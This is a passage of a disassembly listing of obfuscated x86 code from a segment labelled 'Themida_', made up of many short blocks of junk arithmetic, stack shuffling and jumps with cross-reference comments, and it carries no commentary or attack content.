; ---------------------------------------------------------------------------


loc_598FA3:				; CODE XREF: Themida_:loc_5A7D15j
		add	edx, 481625D6h
		xor	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	esi
		push	esp
		pop	esi
		jmp	loc_5AA70F
; ---------------------------------------------------------------------------


loc_598FB7:				; CODE XREF: Themida_:0059C28Aj
					; Themida_:0059D174j
		sub	edx, 18B41645h
		sub	edx, ebx
		add	edx, 18B41645h
		mov	ebx, [esp]
		jmp	loc_59B757
; ---------------------------------------------------------------------------


loc_598FCD:				; CODE XREF: Themida_:005A7A3Fj
		pop	esp
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ebp
		push	4E7Ah
		mov	[esp], edi
		jmp	loc_5ADFEA
; ---------------------------------------------------------------------------


loc_598FE4:				; CODE XREF: Themida_:005AC5E1j
		push	ecx
		jmp	loc_5AE630
; ---------------------------------------------------------------------------


loc_598FEA:				; CODE XREF: Themida_:0059ED27j
		shl	ebx, 7
		js	loc_59A35C
		jmp	loc_59C03D
; ---------------------------------------------------------------------------


loc_598FF8:				; CODE XREF: Themida_:005A9E84j
		add	esp, 4
		add	ebp, 5A26685Ch
		add	ebp, edx
		jmp	loc_599309
; ---------------------------------------------------------------------------


loc_59900B:				; CODE XREF: Themida_:0059B7CDj
		sub	esp, 4
		jmp	loc_5A7DA2
; ---------------------------------------------------------------------------


loc_599016:				; CODE XREF: Themida_:0059FB3Ej
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		push	2587h
		mov	[esp], ecx
		jmp	loc_59A633
; ---------------------------------------------------------------------------


loc_59902D:				; CODE XREF: Themida_:005AC9F7j
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ecx, 23697840h
		push	7F77h
		mov	[esp], ebp
		jmp	loc_598DF9
; ---------------------------------------------------------------------------


loc_599051:				; CODE XREF: Themida_:0059F18Fj
		push	16DD70B0h
		pop	edx
		sub	edx, 6D28659Ch
		xor	edx, 5B8646DCh
		inc	edx
		sub	edx, 0DA182DBCh
		mov	edi, edx
		push	dword ptr [esp]
		jmp	loc_5A973A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_599083:				; CODE XREF: Themida_:loc_59B054j
		jmp	loc_59AB9F
; ---------------------------------------------------------------------------


loc_599088:				; CODE XREF: Themida_:005AF3DFj
		xor	ebx, edi
		jmp	loc_5A0256
; ---------------------------------------------------------------------------


loc_59908F:				; CODE XREF: Themida_:005A4107j
		pop	esp
		push	ebx
		jmp	loc_59D716
; ---------------------------------------------------------------------------


loc_599096:				; CODE XREF: Themida_:0059F4B0j
		mov	[esp], ecx
		push	15961E02h
		jmp	loc_5AA2A8
; ---------------------------------------------------------------------------


loc_5990A3:				; CODE XREF: Themida_:0059EC61j
		pop	esp
		jmp	loc_5AF52D
; ---------------------------------------------------------------------------


loc_5990A9:				; CODE XREF: Themida_:005A5466j
					; Themida_:005A6925j
		push	5778h
		mov	[esp], ebx
		push	7368h
		mov	[esp], esi
		mov	esi, 4AC806AFh
		xor	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A6FD2
; ---------------------------------------------------------------------------


loc_5990CD:				; CODE XREF: Themida_:0059C413j
		push	1768h
		mov	[esp], ecx
		jmp	loc_5A5435
; ---------------------------------------------------------------------------


loc_5990DA:				; CODE XREF: Themida_:0059B6F0j
		mov	[esp], ebp
		push	3B977D13h
		mov	ebp, [esp]
		jmp	loc_59B718
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		jmp	loc_59F870
; ---------------------------------------------------------------------------


loc_5990F2:				; CODE XREF: Themida_:005A0772j
		add	ebp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0ED7547Dh
		shr	esi, 8
		shr	esi, 8
		jmp	loc_5A4275
; ---------------------------------------------------------------------------


loc_59910E:				; CODE XREF: Themida_:0059A203j
					; Themida_:005ADB80j
		add	al, 8
		jmp	loc_59F26D
; ---------------------------------------------------------------------------


loc_599115:				; CODE XREF: Themida_:005A8A0Fj
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 0A43FF4A5h
		jmp	loc_5ABBAC
; ---------------------------------------------------------------------------


loc_599129:				; CODE XREF: Themida_:005A0C9Aj
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_5A9DA5
; ---------------------------------------------------------------------------


loc_599152:				; CODE XREF: Themida_:005A80CAj
		jnp	loc_59C93F
		jmp	loc_5AE7E3
; ---------------------------------------------------------------------------
		pop	dword ptr [esp]
		mov	cl, 0D1h


loc_599163:				; CODE XREF: Themida_:0059E0CDj
		mov	ebp, ebx
		pop	ebx
		not	ebp
		shl	ebp, 6
		jmp	loc_59E493
; ---------------------------------------------------------------------------


loc_599170:				; CODE XREF: Themida_:0059B77Bj
		add	dword ptr [esp+4], 2AAD4243h
		add	dword ptr [esp+4], 55F663FAh
		jmp	loc_59AD2C
; ---------------------------------------------------------------------------


loc_599185:				; CODE XREF: Themida_:005A6970j
		add	ecx, esi
		pop	esi
		jmp	loc_5ABE99
; ---------------------------------------------------------------------------


loc_59918D:				; CODE XREF: Themida_:005A3189j
		xor	edi, 4EF0A5Fh
		jno	loc_5ABDB9
		jmp	loc_5ADE27
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		pop	edx
		pop	ebx


loc_5991A4:				; CODE XREF: Themida_:00598F09j
		xor	ecx, ebx
		jmp	loc_599E76
; ---------------------------------------------------------------------------


loc_5991AB:				; CODE XREF: Themida_:005AF116j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	4Ah
		mov	[esp], ecx
		push	edx
		push	754Dh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		jmp	loc_5A74DA
; ---------------------------------------------------------------------------


loc_5991D7:				; CODE XREF: Themida_:005A7D79j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5D8B7937h
		xor	esi, ebx
		pop	ebx
		jmp	loc_59BE8C
; ---------------------------------------------------------------------------


loc_5991ED:				; CODE XREF: Themida_:005A10B6j
		sub	dword ptr [esp+4], 2AB55C1h
		add	[esp+4], ebx
		jmp	loc_59D503
; ---------------------------------------------------------------------------


loc_5991FE:				; CODE XREF: Themida_:005A41F3j
		add	esi, 0DF8AB5EDh
		mov	eax, esi
		pop	esi
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5ACE28
; ---------------------------------------------------------------------------


loc_59921B:				; CODE XREF: Themida_:0059E022j
					; Themida_:005A1989j
		sub	cl, 43h
		pop	eax
		push	edx
		mov	dh, 7Bh
		or	dh, 74h
		jmp	loc_5A4726
; ---------------------------------------------------------------------------


loc_59922A:				; CODE XREF: Themida_:005A8FD9j
		mov	[esp], esi
		push	esp
		pop	esi
		push	edi
		push	70C748C1h
		jmp	loc_59A3E1
; ---------------------------------------------------------------------------


loc_59923A:				; CODE XREF: Themida_:005A91CFj
		push	ebp
		mov	ebp, 4E583F71h
		inc	ebp
		sub	ebp, 1ED87978h
		jmp	loc_59C53F
; ---------------------------------------------------------------------------


loc_59924C:				; CODE XREF: Themida_:005A6FFEj
		xor	edx, 0F2336367h
		jmp	loc_59D416
; ---------------------------------------------------------------------------


loc_599257:				; CODE XREF: Themida_:00599B6Aj
		push	edx
		mov	dh, 5Bh
		xor	cl, dh
		jmp	loc_5A5D82
; ---------------------------------------------------------------------------


loc_599261:				; CODE XREF: Themida_:0059CCACj
		pop	esp
		push	ebx
		mov	ebx, 40h
		sub	ebx, 6D660E30h
		add	ebx, edi
		add	ebx, 6D660E30h
		jmp	loc_5A062D
; ---------------------------------------------------------------------------


loc_59927B:				; CODE XREF: Themida_:005A9ED9j
		mov	ebp, 4
		push	eax
		mov	eax, 461A4895h
		add	[esp+8], eax
		pop	eax
		add	[esp+4], ebp
		jmp	loc_5A33AF
; ---------------------------------------------------------------------------


loc_599294:				; CODE XREF: Themida_:005A8082j
		add	cl, 0D7h
		jmp	loc_5A4634
; ---------------------------------------------------------------------------


loc_59929C:				; CODE XREF: Themida_:00598573j
		mov	esi, 490C55EEh
		sub	[esp+0Ch], esi
		pop	esi
		jmp	loc_59C57A
; ---------------------------------------------------------------------------


loc_5992AB:				; CODE XREF: Themida_:005AAD04j
		jmp	loc_5A929D
; ---------------------------------------------------------------------------


loc_5992B0:				; CODE XREF: Themida_:005A6D19j
		push	77AAh
		mov	[esp], ecx
		push	eax
		mov	eax, esp
		push	esi
		push	eax
		mov	eax, 9B2489Eh
		mov	esi, 917DBE9h
		sub	esi, 0F243AEFh
		add	esi, eax
		add	esi, 0F243AEFh
		pop	eax
		shr	esi, 1
		inc	esi
		sub	esi, 9651240h
		push	ecx
		mov	ecx, 34942F40h
		add	eax, ecx
		pop	ecx
		add	eax, esi
		push	edi
		mov	edi, 49680F3Bh
		shr	edi, 6
		shl	edi, 8
		add	edi, 5B7218Ah
		sub	edi, 1A3A3816h
		neg	edi
		jmp	loc_5AA18A
; ---------------------------------------------------------------------------


loc_599309:				; CODE XREF: Themida_:00599006j
		sub	ebp, 5A26685Ch
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 0F546BECh
		add	eax, 3C292799h
		add	eax, 252977B1h
		jmp	loc_59C51C
; ---------------------------------------------------------------------------


loc_59932D:				; CODE XREF: Themida_:005A2C4Cj
		sub	al, 1Bh
		jmp	loc_5A15EC
; ---------------------------------------------------------------------------


loc_599334:				; CODE XREF: Themida_:loc_5AF058j
		xor	esi, 22EC2184h
		mov	[edx+30h], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5ACD15
; ---------------------------------------------------------------------------


loc_59934B:				; CODE XREF: Themida_:005A889Ej
		pop	ebp
		add	esp, 4
		add	esp, 4
		push	0DCh
		jmp	loc_5A540B
; ---------------------------------------------------------------------------


loc_59935F:				; CODE XREF: Themida_:005A0556j
		xor	al, cl
		mov	cx, [esp]
		push	edx
		push	esp
		pop	edx
		push	6C5Bh
		mov	[esp], edi
		mov	edi, 35F25B1Bh
		and	edi, 15963B18h
		shr	edi, 6
		jmp	loc_59B5E2
; ---------------------------------------------------------------------------


loc_599383:				; CODE XREF: Themida_:005A1B8Fj
		add	edi, 4
		push	ebx
		mov	ebx, 4
		sub	edi, 7EAD62D8h
		add	edi, ebx
		add	edi, 7EAD62D8h
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_59A625
; ---------------------------------------------------------------------------


loc_5993AC:				; CODE XREF: Themida_:005A6646j
		dec	ecx
		jl	loc_59AA63
		jmp	loc_5A3225
; ---------------------------------------------------------------------------


loc_5993B8:				; CODE XREF: Themida_:005AABE3j
		pop	esp
		jmp	loc_5A3E77
; ---------------------------------------------------------------------------


loc_5993BE:				; CODE XREF: Themida_:005A92C7j
		mov	[esp], edx
		push	esp
		pop	edx
		push	ebp
		mov	ebp, 4
		jmp	loc_598A64
; ---------------------------------------------------------------------------


loc_5993CE:				; CODE XREF: Themida_:005A32E5j
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		jmp	loc_5A3966
; ---------------------------------------------------------------------------


loc_5993DA:				; CODE XREF: Themida_:0059C184j
					; Themida_:005A9CB9j
		add	eax, 0E8C9DF37h
		mov	ebp, eax
		pop	eax
		shr	ebp, 5
		shr	ebp, 5
		xor	ebp, 593CD059h
		and	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	esi, 44696261h
		jbe	loc_5AEC18
		jmp	loc_5AE30F
; ---------------------------------------------------------------------------


loc_599407:				; CODE XREF: Themida_:loc_5AE2AEj
		jmp	loc_5A6223
; ---------------------------------------------------------------------------


loc_59940C:				; CODE XREF: Themida_:005A57B6j
					; Themida_:loc_5ACE09j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	0A4h
		mov	[esp], eax
		mov	ah, 0AAh
		mov	cl, ah
		mov	eax, [esp]
		add	esp, 4
		sub	cl, 83h
		sub	esp, 2
		mov	[esp], bx
		mov	bh, 23h
		jmp	loc_59F46F
; ---------------------------------------------------------------------------


loc_599449:				; CODE XREF: Themida_:005A6050j
		pop	eax
		jmp	loc_5A0DBE
; ---------------------------------------------------------------------------


loc_59944F:				; CODE XREF: Themida_:005A49BFj
		add	bh, 0B1h
		jnb	loc_59FAAC
		neg	bh
		jmp	loc_5A87A3
; ---------------------------------------------------------------------------


loc_59945F:				; CODE XREF: Themida_:005AC0E2j
		add	ecx, edi
		jmp	loc_59C1BE
; ---------------------------------------------------------------------------


loc_599466:				; CODE XREF: Themida_:loc_59B4A0j
		push	esi
		mov	esi, 45594DF4h
		push	edi
		jmp	loc_5A0A2F
; ---------------------------------------------------------------------------


loc_599472:				; CODE XREF: Themida_:0059AA9Fj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 3ACE3C18h
		jmp	loc_5A3C86
; ---------------------------------------------------------------------------


loc_599485:				; CODE XREF: Themida_:0059E732j
		mov	ebp, [esp]
		jmp	loc_598F7F
; ---------------------------------------------------------------------------


loc_59948D:				; CODE XREF: Themida_:005A23CEj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		add	dword ptr [esp+4], 1E7145Ch
		jmp	loc_598EE6
; ---------------------------------------------------------------------------


loc_5994BC:				; CODE XREF: Themida_:005ABC78j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	437h
		mov	[esp], esi
		jmp	loc_5AF392
; ---------------------------------------------------------------------------


loc_5994D5:				; CODE XREF: Themida_:005AC5A8j
		mov	[esp], ebx
		mov	ebx, 3CD67B22h
		jmp	loc_59EC71
; ---------------------------------------------------------------------------


loc_5994E2:				; CODE XREF: Themida_:005A4232j
		xor	dh, ch
		pop	ecx
		add	dh, 0C8h
		push	eax
		mov	al, 0F1h
		push	ax
		not	byte ptr [esp]
		pop	ax
		not	al
		inc	al
		sub	al, 0CBh
		xor	dh, al
		jmp	loc_599DD2
; ---------------------------------------------------------------------------


loc_5994FF:				; CODE XREF: Themida_:00598C2Fj
		add	eax, ecx
		pop	ecx
		mov	esi, eax
		pop	eax
		jmp	loc_5AF587
; ---------------------------------------------------------------------------


loc_59950A:				; CODE XREF: Themida_:005A0D49j
		push	ecx
		mov	ch, 0C3h
		jmp	loc_5A007C
; ---------------------------------------------------------------------------


loc_599512:				; CODE XREF: Themida_:005A1A21j
		mov	ecx, 68479F6Ch
		jmp	loc_5A83B5
; ---------------------------------------------------------------------------


loc_59951C:				; CODE XREF: Themida_:005A1D89j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5AF0B6
; ---------------------------------------------------------------------------


loc_59952A:				; CODE XREF: Themida_:005AA656j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_59FAE1
; ---------------------------------------------------------------------------


loc_599533:				; CODE XREF: Themida_:0059C697j
					; Themida_:005A3BCDj
		add	al, dh
		pop	edx
		neg	al
		ja	loc_5A0D40
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A391C
; ---------------------------------------------------------------------------


loc_59954C:				; CODE XREF: Themida_:005A6889j
		mov	[esp], eax
		push	edi
		jmp	loc_5AB03D
; ---------------------------------------------------------------------------


loc_599555:				; CODE XREF: Themida_:005A68A0j
		add	dword ptr [esp+8], 490C55EEh
		jmp	loc_59856E
; ---------------------------------------------------------------------------


loc_599562:				; CODE XREF: Themida_:0059F3B0j
		add	ebp, edx
		pop	edx
		sub	ebp, 1EDA5DB0h
		add	ebp, esi
		add	ebp, 1EDA5DB0h
		sub	ebp, 5E5D7C84h
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5ABBA3
; ---------------------------------------------------------------------------


loc_599585:				; CODE XREF: Themida_:0059E183j
		sub	cl, 38h
		jg	loc_5AB063
		or	cl, 9Ah
		jg	loc_5A055B
		shl	cl, 2
		jmp	loc_5A9B0F
; ---------------------------------------------------------------------------


loc_59959F:				; CODE XREF: Themida_:005A0A6Cj
		add	edx, 4
		push	ebp
		push	edi
		jmp	loc_5AD3A7
; ---------------------------------------------------------------------------


loc_5995AC:				; CODE XREF: Themida_:005A4AF6j
		add	[esp+8], esi
		sub	dword ptr [esp+8], 37380686h
		pop	esi
		jmp	loc_5A2C51
; ---------------------------------------------------------------------------


loc_5995BE:				; CODE XREF: Themida_:005A18F8j
		xor	[esp], eax
		jmp	loc_5AD748
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		jmp	loc_5ABEDF
; ---------------------------------------------------------------------------


loc_5995D6:				; CODE XREF: Themida_:005A1F86j
					; Themida_:005A6268j
		not	dword ptr [esp]
		pop	eax
		jmp	loc_5A11A7
; ---------------------------------------------------------------------------


loc_5995DF:				; CODE XREF: Themida_:005A37D3j
		sub	ecx, 764619EDh
		sub	ecx, 17BBC00Bh
		add	esi, ecx
		pop	ecx
		jmp	loc_5996EE
; ---------------------------------------------------------------------------


loc_5995F3:				; CODE XREF: Themida_:005A1FB8j
		jns	loc_5AD094
		shr	ecx, 6
		jnp	loc_5A08C7
		jmp	loc_5AD7E7
; ---------------------------------------------------------------------------


loc_599607:				; CODE XREF: Themida_:005A12E8j
		mov	eax, edi
		jmp	loc_5A3850
; ---------------------------------------------------------------------------


loc_59960E:				; CODE XREF: Themida_:005A61FDj
		mov	ecx, 59158CAh
		inc	ecx
		shr	ecx, 6
		jmp	loc_5A72B0
; ---------------------------------------------------------------------------


loc_59961C:				; CODE XREF: Themida_:0059CDA8j
		push	164Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_5A7CC6
; ---------------------------------------------------------------------------


loc_59963E:				; CODE XREF: Themida_:005AB4CBj
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A948C
; ---------------------------------------------------------------------------


loc_59964F:				; CODE XREF: Themida_:0059EEE0j
		push	514Fh
		mov	[esp], eax
		push	esp
		jmp	loc_5A1EB4
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 0EFh
		add	al, 50h
		push	small 7EEBh
		jmp	loc_5A89D2
; ---------------------------------------------------------------------------


loc_599676:				; CODE XREF: Themida_:005A0BF8j
		add	dl, 2Eh
		push	ax
		jmp	loc_59AC16
; ---------------------------------------------------------------------------


loc_599680:				; CODE XREF: Themida_:0059868Aj
		push	esi
		push	5C530B3Ah
		pop	esi
		dec	esi
		jle	loc_59F662
		shr	esi, 7
		jmp	loc_5A0B73
; ---------------------------------------------------------------------------


loc_599696:				; CODE XREF: Themida_:0059DCD4j
		push	5780h
		mov	[esp], ecx
		mov	ecx, 3B8A4A9Fh
		xor	eax, ecx
		pop	ecx
		push	ecx
		mov	ecx, 738252B4h
		jmp	loc_59D904
; ---------------------------------------------------------------------------


loc_5996B1:				; CODE XREF: Themida_:005A2D14j
		sub	edx, 0BC0F3517h
		sub	eax, edx
		jmp	loc_5AC78D
; ---------------------------------------------------------------------------


loc_5996BE:				; CODE XREF: Themida_:005A66B6j
		mov	ecx, 1DA0149Dh
		or	ecx, 6D7C1B44h
		jg	loc_5AC67A
		shl	ecx, 2
		jz	loc_5A7D65
		mov	dh, al
		pop	edx


loc_5996DB:				; CODE XREF: Themida_:005AB24Ej
		sub	bl, 13h
		push	edx
		push	ebx
		push	eax
		mov	ah, 0EDh
		and	ah, 0B9h
		sub	ah, 1Ah
		jmp	loc_5A4BA2
; ---------------------------------------------------------------------------


loc_5996EE:				; CODE XREF: Themida_:005995EEj
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_59B42A
; ---------------------------------------------------------------------------


loc_5996FE:				; CODE XREF: Themida_:005ABEDAj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0B484921Eh
		add	edx, ebp
		pop	ebp
		sub	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5A571E
; ---------------------------------------------------------------------------


loc_599725:				; CODE XREF: Themida_:005ACC56j
		pop	edi
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	eax, ebx
		add	eax, 65DA33CEh
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	5A111299h
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A9D6A
; ---------------------------------------------------------------------------


loc_599776:				; CODE XREF: Themida_:0059BAF4j
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A9F0F
; ---------------------------------------------------------------------------


loc_59978D:				; CODE XREF: Themida_:0059FAA7j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 545EC798h
		xor	edi, ebp
		jmp	loc_5AA768
; ---------------------------------------------------------------------------


loc_5997A2:				; CODE XREF: Themida_:005A6573j
		neg	ebp
		inc	ebp
		jmp	loc_5A4E21
; ---------------------------------------------------------------------------


loc_5997AA:				; CODE XREF: Themida_:005A3E02j
		mov	ecx, 39437B60h
		or	ecx, 77CE48FFh
		shl	ecx, 7
		shl	ecx, 7
		jmp	loc_5AE410
; ---------------------------------------------------------------------------


loc_5997C0:				; CODE XREF: Themida_:0059A090j
		push	eax
		jmp	loc_5A5B47
; ---------------------------------------------------------------------------


loc_5997C6:				; CODE XREF: Themida_:0059E559j
		add	edi, eax
		pop	eax
		push	2DDh
		mov	[esp], edx
		push	ebp
		jmp	loc_5A9028
; ---------------------------------------------------------------------------


loc_5997D7:				; CODE XREF: Themida_:005A6653j
		not	ecx
		xor	ecx, 0DD70576Ah
		sub	esp, 4
		mov	[esp], eax
		mov	eax, ecx
		mov	edi, eax
		pop	eax
		mov	ecx, [esp]
		push	eax
		jmp	loc_5AA57D
; ---------------------------------------------------------------------------


loc_5997F6:				; CODE XREF: Themida_:005A5D7Dj
					; Themida_:005A6C9Dj
		add	edi, 2F456041h
		add	edi, ebx
		sub	edi, 2F456041h
		sub	edi, 0F091B94h
		add	edi, 21587F26h
		jmp	loc_5A7B88
; ---------------------------------------------------------------------------


loc_599815:				; CODE XREF: Themida_:005AAF78j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	si, 688Ch
		shr	si, 8
		not	si
		sub	si, 7640h
		neg	si
		jmp	loc_5A1DAE
; ---------------------------------------------------------------------------


loc_599835:				; CODE XREF: Themida_:005AA934j
					; Themida_:005ABC9Dj
		push	0B8Ah
		jmp	loc_5AC2F1
; ---------------------------------------------------------------------------


loc_59983F:				; CODE XREF: Themida_:005A1849j
		sub	edx, 17810C2Fh
		mov	ecx, [esp]
		add	esp, 4
		add	edx, eax
		push	0D4h
		mov	[esp], ecx
		jmp	loc_5AF54D
; ---------------------------------------------------------------------------


loc_59985D:				; CODE XREF: Themida_:005AEF2Cj
		mov	[esp], eax
		jmp	loc_59B32D
; ---------------------------------------------------------------------------


loc_599865:				; CODE XREF: Themida_:005A4866j
		push	3C35045Eh
		pop	esi
		push	ecx
		mov	ecx, 359F7AAFh
		dec	ecx
		dec	ecx
		xor	ecx, 7E507C10h
		sub	ecx, 3581713Dh
		jmp	loc_5A7DAF
; ---------------------------------------------------------------------------


loc_599884:				; CODE XREF: Themida_:005A82C8j
		push	ebx
		mov	ebx, 0F12C8483h
		add	edx, 6C944FB9h
		add	edx, ebx
		sub	edx, 6C944FB9h
		mov	ebx, [esp]
		jmp	loc_5A22F3
; ---------------------------------------------------------------------------


loc_5998A0:				; CODE XREF: Themida_:005A151Fj
		mov	ah, 1Ch
		or	ah, 0D8h
		jmp	loc_5AC0F4
; ---------------------------------------------------------------------------


loc_5998AA:				; CODE XREF: Themida_:005A8754j
		add	ebp, 31627C0Ah
		jmp	loc_5AA2BF
; ---------------------------------------------------------------------------


loc_5998B5:				; CODE XREF: Themida_:0059FBBFj
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 8846A9Ch
		mov	eax, ebx
		pop	ebx
		shl	eax, 3
		sub	eax, 44A92B10h
		jmp	loc_59C959
; ---------------------------------------------------------------------------


loc_5998F5:				; CODE XREF: Themida_:005A1B48j
		mov	[esp], ebp
		mov	ebp, 4
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebp
		jmp	loc_5A8492
; ---------------------------------------------------------------------------


loc_599915:				; CODE XREF: Themida_:005A805Ej
		sub	ebx, 572B46FBh
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		push	ebx
		mov	ebx, 0FAF0EC5h
		shr	ebx, 6
		js	loc_59BFB6
		and	ebx, 53D7629h
		xor	ebx, 63F22948h
		ja	loc_5A88F1
		add	ebx, 504C0EB8h
		jnb	loc_59CADD
		pop	ebx


loc_599954:				; CODE XREF: Themida_:0059BB5Aj
					; Themida_:005AD95Bj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59CAB5
; ---------------------------------------------------------------------------


loc_59995F:				; CODE XREF: Themida_:0059BB9Fj
		mov	esp, [esp]
		jmp	loc_5A96DA
; ---------------------------------------------------------------------------


loc_599967:				; CODE XREF: Themida_:005ACF55j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	4F82h
		mov	[esp], edx
		push	edi
		jmp	loc_59A65B
; ---------------------------------------------------------------------------


loc_599982:				; CODE XREF: Themida_:005A67A6j
		add	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5A264A
; ---------------------------------------------------------------------------


loc_599993:				; CODE XREF: Themida_:005ADEDFj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	eax
		push	5E2Ah
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_59EE6A
; ---------------------------------------------------------------------------


loc_5999B3:				; CODE XREF: Themida_:005AE805j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5999B8:				; CODE XREF: Themida_:005AEF65j
		pop	edx
		push	eax
		jmp	loc_5A1FF5
; ---------------------------------------------------------------------------


loc_5999BF:				; CODE XREF: Themida_:005AD23Fj
		or	edx, ebx
		pop	ebx
		dec	edx
		sub	edx, 8661653h
		push	ebp
		jmp	loc_5A8397
; ---------------------------------------------------------------------------


loc_5999CF:				; CODE XREF: Themida_:005A3F04j
		mov	esi, 4
		add	ecx, esi
		jmp	loc_5A6F6D
; ---------------------------------------------------------------------------


loc_5999DB:				; CODE XREF: Themida_:005AB2D6j
		sub	edi, 5BC10712h
		add	edi, edx
		add	edi, 5BC10712h
		pop	edx
		sub	edi, 2
		xchg	edi, [esp]
		pop	esp
		mov	[esp], dx
		mov	dh, 54h
		sub	esp, 4
		jmp	loc_5A615D
; ---------------------------------------------------------------------------


loc_599A02:				; CODE XREF: Themida_:00598D75j
		jmp	loc_59E269
; ---------------------------------------------------------------------------


loc_599A07:				; CODE XREF: Themida_:005AAA0Fj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		add	esp, 4
		shl	dword ptr [esp], cl
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_599A1C:				; CODE XREF: Themida_:005A87ABj
		pop	ebp
		jmp	loc_59DF2A
; ---------------------------------------------------------------------------


loc_599A22:				; CODE XREF: Themida_:0059AE75j
		push	ecx
		jmp	loc_5AB652
; ---------------------------------------------------------------------------


loc_599A28:				; CODE XREF: Themida_:005A3796j
		mov	esp, [esp]
		jmp	loc_59D05E
; ---------------------------------------------------------------------------


loc_599A30:				; CODE XREF: Themida_:0059ADBCj
					; Themida_:005ADED3j
		push	ecx
		jmp	loc_5AA83D
; ---------------------------------------------------------------------------


loc_599A36:				; CODE XREF: Themida_:005AE84Fj
		push	73CC039Ah
		jmp	loc_5A62AC
; ---------------------------------------------------------------------------


loc_599A40:				; CODE XREF: Themida_:005A8546j
		xor	ebp, ecx
		jmp	loc_5A9BA8
; ---------------------------------------------------------------------------


loc_599A47:				; CODE XREF: Themida_:0059FB1Bj
		push	ecx
		mov	ecx, 6D1D16D4h
		jmp	loc_5A9577
; ---------------------------------------------------------------------------
		push	6322h
		mov	[esp], ebx
		mov	ebx, 208D14AAh
		xor	ebx, 0DF72EF55h
		and	[edi+1Ch], ebx
		push	dword ptr [esp]
		jmp	loc_5AA273
; ---------------------------------------------------------------------------


loc_599A70:				; CODE XREF: Themida_:0059BCB8j
		add	esp, 4
